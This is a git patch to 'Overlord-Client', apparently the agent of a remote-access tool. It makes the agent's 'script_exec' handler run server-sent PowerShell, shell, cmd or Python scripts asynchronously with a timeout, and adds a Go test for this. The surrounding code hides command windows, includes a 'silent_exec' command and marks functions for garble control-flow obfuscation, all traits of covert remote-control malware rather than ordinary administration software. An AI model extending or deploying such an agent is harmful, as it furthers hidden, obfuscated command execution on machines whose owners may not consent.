From 30ac0f30359c4fd1f44a4d5a4cd59b7ace4d424d Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 4 Jun 2026 19:55:32 -0500 Subject: [PATCH] fix scripting issue --- Overlord-Client/cmd/agent/handlers/command.go | 3 +- Overlord-Client/cmd/agent/handlers/script.go | 59 +++++++---- .../cmd/agent/handlers/script_test.go | 100 ++++++++++++++++++ 3 files changed, 142 insertions(+), 20 deletions(-) create mode 100644 Overlord-Client/cmd/agent/handlers/script_test.go diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index cb64668..bcdade3 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2297,7 +2297,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if scriptType == "" { scriptType = "powershell" } - return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType) + StartScriptExecute(ctx, env, cmdID, scriptContent, scriptType) + return nil case "silent_exec": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { diff --git a/Overlord-Client/cmd/agent/handlers/script.go b/Overlord-Client/cmd/agent/handlers/script.go index 83fc31c..2b2e6a5 100644 --- a/Overlord-Client/cmd/agent/handlers/script.go +++ b/Overlord-Client/cmd/agent/handlers/script.go @@ -12,33 +12,46 @@ import ( "overlord-client/cmd/agent/wire" ) +const scriptExecutionTimeout = 5 * time.Minute + +func StartScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) { + goSafe("script execute", env.Cancel, func() { + if err := HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType); err != nil { + log.Printf("script: failed to send result for command %s: %v", cmdID, err) + } + }) +} + func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent)) + execCtx, cancel := context.WithTimeout(ctx, scriptExecutionTimeout) + defer cancel() + var cmd *exec.Cmd switch scriptType { case "powershell": if runtime.GOOS == "windows" { - cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent) + cmd = exec.CommandContext(execCtx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent) } else { - cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent) + cmd = exec.CommandContext(execCtx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent) } case "bash": if runtime.GOOS == "windows" { - cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent) } else { - cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent) } case "sh": - cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "sh", "-c", scriptContent) case "cmd": if runtime.GOOS == "windows" { - cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent) + cmd = exec.CommandContext(execCtx, "cmd.exe", "/c", scriptContent) } else { - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + return writeScriptCommandResult(env, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, @@ -46,11 +59,11 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin }) } case "python": - cmd = exec.CommandContext(ctx, "python", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "python", "-c", scriptContent) case "python3": - cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "python3", "-c", scriptContent) default: - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + return writeScriptCommandResult(env, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, @@ -60,25 +73,21 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin hideCmdWindow(cmd) - timeout := 5 * time.Minute - ctx, cancel := context.WithTimeout(ctx, timeout) - defer cancel() - output, err := cmd.CombinedOutput() if err != nil { - if ctx.Err() == context.DeadlineExceeded { - return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + if execCtx.Err() == context.DeadlineExceeded { + return writeScriptResult(env, wire.ScriptResult{ Type: "script_result", CommandID: cmdID, OK: false, Output: string(output), - Error: "Script execution timed out after " + timeout.String(), + Error: "Script execution timed out after " + scriptExecutionTimeout.String(), }) } - return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + return writeScriptResult(env, wire.ScriptResult{ Type: "script_result", CommandID: cmdID, OK: false, @@ -88,10 +97,22 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin } log.Printf("script: execution completed successfully (%d bytes output)", len(output)) - return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + return writeScriptResult(env, wire.ScriptResult{ Type: "script_result", CommandID: cmdID, OK: true, Output: strings.TrimSpace(string(output)), }) } + +func writeScriptResult(env *agentRuntime.Env, result wire.ScriptResult) error { + writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + return wire.WriteMsg(writeCtx, env.Conn, result) +} + +func writeScriptCommandResult(env *agentRuntime.Env, result wire.CommandResult) error { + writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + return wire.WriteMsg(writeCtx, env.Conn, result) +} diff --git a/Overlord-Client/cmd/agent/handlers/script_test.go b/Overlord-Client/cmd/agent/handlers/script_test.go new file mode 100644 index 0000000..d9cbb8a --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/script_test.go @@ -0,0 +1,100 @@ +package handlers + +import ( + "context" + goruntime "runtime" + "sync" + "testing" + "time" + + "overlord-client/cmd/agent/config" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/vmihailenco/msgpack/v5" + "nhooyr.io/websocket" +) + +type scriptTestWriter struct { + mu sync.Mutex + msgs [][]byte +} + +func (w *scriptTestWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error { + w.mu.Lock() + defer w.mu.Unlock() + w.msgs = append(w.msgs, append([]byte(nil), p...)) + return nil +} + +func (w *scriptTestWriter) popScriptResult() (wire.ScriptResult, bool, error) { + w.mu.Lock() + defer w.mu.Unlock() + for _, msg := range w.msgs { + var result wire.ScriptResult + if err := msgpack.Unmarshal(msg, &result); err != nil { + return wire.ScriptResult{}, false, err + } + if result.Type == "script_result" { + return result, true, nil + } + } + return wire.ScriptResult{}, false, nil +} + +func TestHandleCommandScriptExecRunsAsync(t *testing.T) { + writer := &scriptTestWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + scriptType := "sh" + script := "sleep 0.2; echo done" + if goruntime.GOOS == "windows" { + scriptType = "cmd" + script = "ping 127.0.0.1 -n 2 >NUL & echo done" + } + + envelope := map[string]interface{}{ + "type": "command", + "commandType": "script_exec", + "id": "cmd-script-async", + "payload": map[string]interface{}{ + "script": script, + "type": scriptType, + }, + } + + start := time.Now() + if err := HandleCommand(context.Background(), env, envelope); err != nil { + t.Fatalf("HandleCommand(script_exec) failed: %v", err) + } + if elapsed := time.Since(start); elapsed > 100*time.Millisecond { + t.Fatalf("script_exec blocked dispatcher for %s", elapsed) + } + + deadline := time.After(5 * time.Second) + for { + result, ok, err := writer.popScriptResult() + if err != nil { + t.Fatalf("failed to decode script result: %v", err) + } + if ok { + if !result.OK { + t.Fatalf("expected script ok=true, got error=%q output=%q", result.Error, result.Output) + } + if result.Output != "done" { + t.Fatalf("expected output %q, got %q", "done", result.Output) + } + return + } + + select { + case <-deadline: + t.Fatal("timed out waiting for script result") + default: + time.Sleep(10 * time.Millisecond) + } + } +}